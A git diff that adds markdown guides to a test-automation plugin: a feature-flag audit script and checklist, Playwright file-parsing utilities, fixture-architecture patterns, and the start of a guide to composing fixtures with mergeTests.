+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
+| `filePath`  | `string` | Path to XLSX file              |
+| `sheetName` | `string` | Name of sheet to set as active |
+
+### PDF Reader Options
+
+| Option       | Type      | Default | Description                 |
+| ------------ | --------- | ------- | --------------------------- |
+| `filePath`   | `string`  | -       | Path to PDF file (required) |
+| `mergePages` | `boolean` | `true`  | Merge text from all pages   |
+| `maxPages`   | `number`  | -       | Maximum pages to extract    |
+| `debug`      | `boolean` | `false` | Enable debug logging        |
+
+### ZIP Reader Options
+
+| Option          | Type     | Description                        |
+| --------------- | -------- | ---------------------------------- |
+| `filePath`      | `string` | Path to ZIP file                   |
+| `fileToExtract` | `string` | Specific file to extract to Buffer |
+
+### Return Values
+
+#### CSV Reader Return Value
+
+```typescript
+{
+  content: {
+    data: Array<Array<string | number>>,  // Parsed rows (excludes header row if parseHeaders: true)
+    headers: string[] | null              // Column headers (null if parseHeaders: false)
+  }
+}
+```
+
+#### XLSX Reader Return Value
+
+```typescript
+{
+  content: {
+    worksheets: Array<{
+      name: string; // Sheet name
+      rows: Array<Array<any>>; // All rows including headers
+      headers?: string[]; // First row as headers (if present)
+    }>;
+  }
+}
+```
+
+#### PDF Reader Return Value
+
+```typescript
+{
+  content: string,                        // Extracted text (merged or per-page based on mergePages)
+  pagesCount: number,                     // Total pages in PDF
+  fileName?: string,                      // Original filename if available
+  info?: Record<string, any>              // PDF metadata (author, title, etc.)
+}
+```
+
+> **Note**: When `mergePages: false`, `content` is an array of strings (one per page). When `maxPages` is set, only that many pages are extracted.
+
+#### ZIP Reader Return Value
+
+```typescript
+{
+  content: {
+    entries: Array<{
+      name: string,                       // File/directory path within ZIP
+      size: number,                       // Uncompressed size in bytes
+      isDirectory: boolean                // True for directories
+    }>,
+    extractedFiles: Record<string, Buffer | string>  // Extracted file contents by path
+  }
+}
+```
+
+> **Note**: When `fileToExtract` is specified, only that file appears in `extractedFiles`.
+
+## Download Cleanup Pattern
+
+```typescript
+test.afterEach(async () => {
+  // Clean up downloaded files
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
+
+## Comparison with Vanilla Playwright
+
+Vanilla Playwright (real test) snippet:
+
+```typescript
+// ~80 lines of boilerplate!
+const [download] = await Promise.all([page.waitForEvent('download'), page.getByTestId('download-button-CSV Export').click()]);
+
+const failure = await download.failure();
+expect(failure).toBeNull();
+
+const filePath = testInfo.outputPath(download.suggestedFilename());
+await download.saveAs(filePath);
+
+await expect
+  .poll(
+    async () => {
+      try {
+        await fs.access(filePath);
+        return true;
+      } catch {
+        return false;
+      }
+    },
+    { timeout: 5000, intervals: [100, 200, 500] },
+  )
+  .toBe(true);
+
+const csvContent = await fs.readFile(filePath, 'utf-8');
+
+const parseResult = parse(csvContent, {
+  header: true,
+  skipEmptyLines: true,
+  dynamicTyping: true,
+  transformHeader: (header: string) => header.trim(),
+});
+
+if (parseResult.errors.length > 0) {
+  throw new Error(`CSV parsing errors: ${JSON.stringify(parseResult.errors)}`);
+}
+
+const data = parseResult.data as Array<Record<string, unknown>>;
+const headers = parseResult.meta.fields || [];
+```
+
+With File Utils, the same flow becomes:
+
+```typescript
+const downloadPath = await handleDownload({
+  page,
+  downloadDir: DOWNLOAD_DIR,
+  trigger: () => page.getByTestId('download-button-text/csv').click(),
+});
+
+const { data, headers } = (await readCSV({ filePath: downloadPath })).content;
+```
+
+## Related Fragments
+
+- `overview.md` - Installation and imports
+- `api-request.md` - API-triggered downloads
+- `recurse.md` - Poll for file generation completion
+
+## Anti-Patterns
+
+**DON'T leave downloads in place:**
+
+```typescript
+test('creates file', async () => {
+  await handleDownload({ ... })
+  // File left in downloads folder
+})
+```
+
+**DO clean up after tests:**
+
+```typescript
+test.afterEach(async () => {
+  await fs.remove(DOWNLOAD_DIR);
+});
+```
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixture-architecture.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixture-architecture.md
new file mode 100644
index 0000000..0f617a4
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixture-architecture.md
@@ -0,0 +1,401 @@
+# Fixture Architecture Playbook
+
+## Principle
+
+Build test helpers as pure functions first, then wrap them in framework-specific fixtures. Compose capabilities using `mergeTests` (Playwright) or layered commands (Cypress) instead of inheritance. Each fixture should solve one isolated concern (auth, API, logs, network).
+
+## Rationale
+
+Traditional Page Object Models create tight coupling through inheritance chains (`BasePage → LoginPage → AdminPage`). When base classes change, all descendants break. Pure functions with fixture wrappers provide:
+
+- **Testability**: Pure functions run in unit tests without framework overhead
+- **Composability**: Mix capabilities freely via `mergeTests`, no inheritance constraints
+- **Reusability**: Export fixtures via package subpaths for cross-project sharing
+- **Maintainability**: One concern per fixture = clear responsibility boundaries
+
+## Pattern Examples
+
+### Example 1: Pure Function → Fixture Pattern
+
+**Context**: When building any test helper, always start with a pure function that accepts all dependencies explicitly. Then wrap it in a Playwright fixture or Cypress command.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/api-request.ts
+// Step 1: Pure function (ALWAYS FIRST!)
+type ApiRequestParams = {
+  request: APIRequestContext;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  url: string;
+  data?: unknown;
+  headers?: Record<string, string>;
+};
+
+export async function apiRequest({
+  request,
+  method,
+  url,
+  data,
+  headers = {}
+}: ApiRequestParams) {
+  const response = await request.fetch(url, {
+    method,
+    data,
+    headers: {
+      'Content-Type': 'application/json',
+      ...headers
+    }
+  });
+
+  if (!response.ok()) {
+    throw new Error(`API request failed: ${response.status()} ${await response.text()}`);
+  }
+
+  return response.json();
+}
+
+// Step 2: Fixture wrapper
+// playwright/support/fixtures/api-request-fixture.ts
+import { test as base } from '@playwright/test';
+import { apiRequest } from '../helpers/api-request';
+
+export const test = base.extend<{ apiRequest: typeof apiRequest }>({
+  apiRequest: async ({ request }, use) => {
+    // Inject framework dependency, expose pure function
+    await use((params) => apiRequest({ request, ...params }));
+  }
+});
+
+// Step 3: Package exports for reusability
+// package.json
+{
+  "exports": {
+    "./api-request": "./playwright/support/helpers/api-request.ts",
+    "./api-request/fixtures": "./playwright/support/fixtures/api-request-fixture.ts"
+  }
+}
+```
+
+**Key Points**:
+
+- Pure function is unit-testable without Playwright running
+- Framework dependency (`request`) injected at fixture boundary
+- Fixture exposes the pure function to test context
+- Package subpath exports enable `import { apiRequest } from 'my-fixtures/api-request'`
+
+### Example 2: Composable Fixture System with mergeTests
+
+**Context**: When building comprehensive test capabilities, compose multiple focused fixtures instead of creating monolithic helper classes. Each fixture provides one capability.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from './api-request-fixture';
+import { test as networkFixture } from './network-fixture';
+import { test as authFixture } from './auth-fixture';
+import { test as logFixture } from './log-fixture';
+
+// Compose all fixtures for comprehensive capabilities
+export const test = mergeTests(base, apiRequestFixture, networkFixture, authFixture, logFixture);
+
+export { expect } from '@playwright/test';
+
+// Example usage in tests:
+// import { test, expect } from './support/fixtures/merged-fixtures';
+//
+// test('user can create order', async ({ page, apiRequest, auth, network }) => {
+//   await auth.loginAs('customer@example.com');
+//   await network.interceptRoute('POST', '**/api/orders', { id: 123 });
+//   await page.goto('/checkout');
+//   await page.click('[data-testid="submit-order"]');
+//   await expect(page.getByText('Order #123')).toBeVisible();
+// });
+```
+
+**Individual Fixture Examples**:
+
+```typescript
+// network-fixture.ts
+export const test = base.extend({
+  network: async ({ page }, use) => {
+    const interceptedRoutes = new Map();
+
+    const interceptRoute = async (method: string, url: string, response: unknown) => {
+      await page.route(url, (route) => {
+        if (route.request().method() === method) {
+          route.fulfill({ body: JSON.stringify(response) });
+        }
+      });
+      interceptedRoutes.set(`${method}:${url}`, response);
+    };
+
+    await use({ interceptRoute });
+
+    // Cleanup
+    interceptedRoutes.clear();
+  },
+});
+
+// auth-fixture.ts
+export const test = base.extend({
+  auth: async ({ page, context }, use) => {
+    const loginAs = async (email: string) => {
+      // Use API to setup auth (fast!)
+      const token = await getAuthToken(email);
+      await context.addCookies([
+        {
+          name: 'auth_token',
+          value: token,
+          domain: 'localhost',
+          path: '/',
+        },
+      ]);
+    };
+
+    await use({ loginAs });
+  },
+});
+```
+
+**Key Points**:
+
+- `mergeTests` combines fixtures without inheritance
+- Each fixture has single responsibility (network, auth, logs)
+- Tests import merged fixture and access all capabilities
+- No coupling between fixtures—add/remove freely
+
+### Example 3: Framework-Agnostic HTTP Helper
+
+**Context**: When building HTTP helpers, keep them framework-agnostic. Accept all params explicitly so they work in unit tests, Playwright, Cypress, or any context.
+
+**Implementation**:
+
+```typescript
+// shared/helpers/http-helper.ts
+// Pure, framework-agnostic function
+type HttpHelperParams = {
+  baseUrl: string;
+  endpoint: string;
+  method: 'GET' | 'POST' | 'PUT' | 'DELETE';
+  body?: unknown;
+  headers?: Record<string, string>;
+  token?: string;
+};
+
+export async function makeHttpRequest({ baseUrl, endpoint, method, body, headers = {}, token }: HttpHelperParams): Promise<unknown> {
+  const url = `${baseUrl}${endpoint}`;
+  const requestHeaders = {
+    'Content-Type': 'application/json',
+    ...(token && { Authorization: `Bearer ${token}` }),
+    ...headers,
+  };
+
+  const response = await fetch(url, {
+    method,
+    headers: requestHeaders,
+    body: body ? JSON.stringify(body) : undefined,
+  });
+
+  if (!response.ok) {
+    const errorText = await response.text();
+    throw new Error(`HTTP ${method} ${url} failed: ${response.status} ${errorText}`);
+  }
+
+  return response.json();
+}
+
+// Playwright fixture wrapper
+// playwright/support/fixtures/http-fixture.ts
+import { test as base } from '@playwright/test';
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+export const test = base.extend({
+  httpHelper: async ({}, use) => {
+    const baseUrl = process.env.API_BASE_URL || 'http://localhost:3000';
+
+    await use((params) => makeHttpRequest({ baseUrl, ...params }));
+  },
+});
+
+// Cypress command wrapper
+// cypress/support/commands.ts
+import { makeHttpRequest } from '../../shared/helpers/http-helper';
+
+Cypress.Commands.add('apiRequest', (params) => {
+  const baseUrl = Cypress.env('API_BASE_URL') || 'http://localhost:3000';
+  return cy.wrap(makeHttpRequest({ baseUrl, ...params }));
+});
+```
+
+**Key Points**:
+
+- Pure function uses only standard `fetch`, no framework dependencies
+- Unit tests call `makeHttpRequest` directly with all params
+- Playwright and Cypress wrappers inject framework-specific config
+- Same logic runs everywhere—zero duplication
+
+### Example 4: Fixture Cleanup Pattern
+
+**Context**: When fixtures create resources (data, files, connections), ensure automatic cleanup in fixture teardown. Tests must not leak state.
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/database-fixture.ts
+import { test as base } from '@playwright/test';
+import { seedDatabase, deleteRecord } from '../helpers/db-helpers';
+
+type DatabaseFixture = {
+  seedUser: (userData: Partial<User>) => Promise<User>;
+  seedOrder: (orderData: Partial<Order>) => Promise<Order>;
+};
+
+export const test = base.extend<DatabaseFixture>({
+  seedUser: async ({}, use) => {
+    const createdUsers: string[] = [];
+
+    const seedUser = async (userData: Partial<User>) => {
+      const user = await seedDatabase('users', userData);
+      createdUsers.push(user.id);
+      return user;
+    };
+
+    await use(seedUser);
+
+    // Auto-cleanup: Delete all users created during test
+    for (const userId of createdUsers) {
+      await deleteRecord('users', userId);
+    }
+    createdUsers.length = 0;
+  },
+
+  seedOrder: async ({}, use) => {
+    const createdOrders: string[] = [];
+
+    const seedOrder = async (orderData: Partial<Order>) => {
+      const order = await seedDatabase('orders', orderData);
+      createdOrders.push(order.id);
+      return order;
+    };
+
+    await use(seedOrder);
+
+    // Auto-cleanup: Delete all orders
+    for (const orderId of createdOrders) {
+      await deleteRecord('orders', orderId);
+    }
+    createdOrders.length = 0;
+  },
+});
+
+// Example usage:
+// test('user can place order', async ({ seedUser, seedOrder, page }) => {
+//   const user = await seedUser({ email: 'test@example.com' });
+//   const order = await seedOrder({ userId: user.id, total: 100 });
+//
+//   await page.goto(`/orders/${order.id}`);
+//   await expect(page.getByText('Order Total: $100')).toBeVisible();
+//
+//   // No manual cleanup needed—fixture handles it automatically
+// });
+```
+
+**Key Points**:
+
+- Track all created resources in array during test execution
+- Teardown (after `use()`) deletes all tracked resources
+- Tests don't manually clean up—happens automatically
+- Prevents test pollution and flakiness from shared state
+
+### Anti-Pattern: Inheritance-Based Page Objects
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Page Object Model with inheritance
+class BasePage {
+  constructor(public page: Page) {}
+
+  async navigate(url: string) {
+    await this.page.goto(url);
+  }
+
+  async clickButton(selector: string) {
+    await this.page.click(selector);
+  }
+}
+
+class LoginPage extends BasePage {
+  async login(email: string, password: string) {
+    await this.navigate('/login');
+    await this.page.fill('#email', email);
+    await this.page.fill('#password', password);
+    await this.clickButton('#submit');
+  }
+}
+
+class AdminPage extends LoginPage {
+  async accessAdminPanel() {
+    await this.login('admin@example.com', 'admin123');
+    await this.navigate('/admin');
+  }
+}
+```
+
+**Why It Fails**:
+
+- Changes to `BasePage` break all descendants (`LoginPage`, `AdminPage`)
+- `AdminPage` inherits unnecessary `login` details—tight coupling
+- Cannot compose capabilities (e.g., admin + reporting features require multiple inheritance)
+- Hard to test `BasePage` methods in isolation
+- Hidden state in class instances leads to unpredictable behavior
+
+**Better Approach**: Use pure functions + fixtures
+
+```typescript
+// ✅ GOOD: Pure functions with fixture composition
+// helpers/navigation.ts
+export async function navigate(page: Page, url: string) {
+  await page.goto(url);
+}
+
+// helpers/auth.ts
+export async function login(page: Page, email: string, password: string) {
+  await page.fill('[data-testid="email"]', email);
+  await page.fill('[data-testid="password"]', password);
+  await page.click('[data-testid="submit"]');
+}
+
+// fixtures/admin-fixture.ts
+export const test = base.extend({
+  adminPage: async ({ page }, use) => {
+    await login(page, 'admin@example.com', 'admin123');
+    await navigate(page, '/admin');
+    await use(page);
+  },
+});
+
+// Tests import exactly what they need—no inheritance
+```
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (initial setup)
+- **Related fragments**:
+  - `data-factories.md` - Factory functions for test data
+  - `network-first.md` - Network interception patterns
+  - `test-quality.md` - Deterministic test design principles
+
+## Helper Function Reuse Guidelines
+
+When deciding whether to create a fixture, follow these rules:
+
+- **3+ uses** → Create fixture with subpath export (shared across tests/projects)
+- **2-3 uses** → Create utility module (shared within project)
+- **1 use** → Keep inline (avoid premature abstraction)
+- **Complex logic** → Factory function pattern (dynamic data generation)
+
+_Source: Murat Testing Philosophy (lines 74-122), enterprise production patterns, Playwright fixture docs._
diff --git a/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixtures-composition.md b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixtures-composition.md
new file mode 100644
index 0000000..93d14d0
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-automate/resources/knowledge/fixtures-composition.md
@@ -0,0 +1,382 @@
+# Fixtures Composition with mergeTests
+
+## Principle
+
+Combine multiple Playwright fixtures using `mergeTests` to create a unified test object with all capabilities. Build composable test infrastructure by merging playwright-utils fixtures with custom project fixtures.
+
+## Rationale
+
+Using fixtures from multiple sources requires combining them:
+
+- Importing from multiple fixture files is verbose
+- Name conflicts between fixtures
+- Duplicate fixture definitions
+- No clear single test object
+
+Playwright's `mergeTests` provides:
+
+- **Single test object**: All fixtures in one import
+- **Conflict resolution**: Handles name collisions automatically
+- **Composition pattern**: Mix utilities, custom fixtures, third-party fixtures
+- **Type safety**: Full TypeScript support for merged fixtures
+- **Maintainability**: One place to manage all fixtures
+
+## Pattern Examples
+
+### Example 1: Basic Fixture Merging
+
+**Context**: Combine multiple playwright-utils fixtures into single test object.
+
+**Implementation**:
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { mergeTests } from '@playwright/test';
+import { test as apiRequestFixture } from '@seontechnologies/playwright-utils/api-request/fixtures';
+import { test as authFixture } from '@seontechnologies/playwright-utils/auth-session/fixtures';
+import { test as recurseFixture } from '@seontechnologies/playwright-utils/recurse/fixtures';
+
+// Merge all fixtures
+export const test = mergeTests(apiRequestFixture, authFixture, recurseFixture);
+
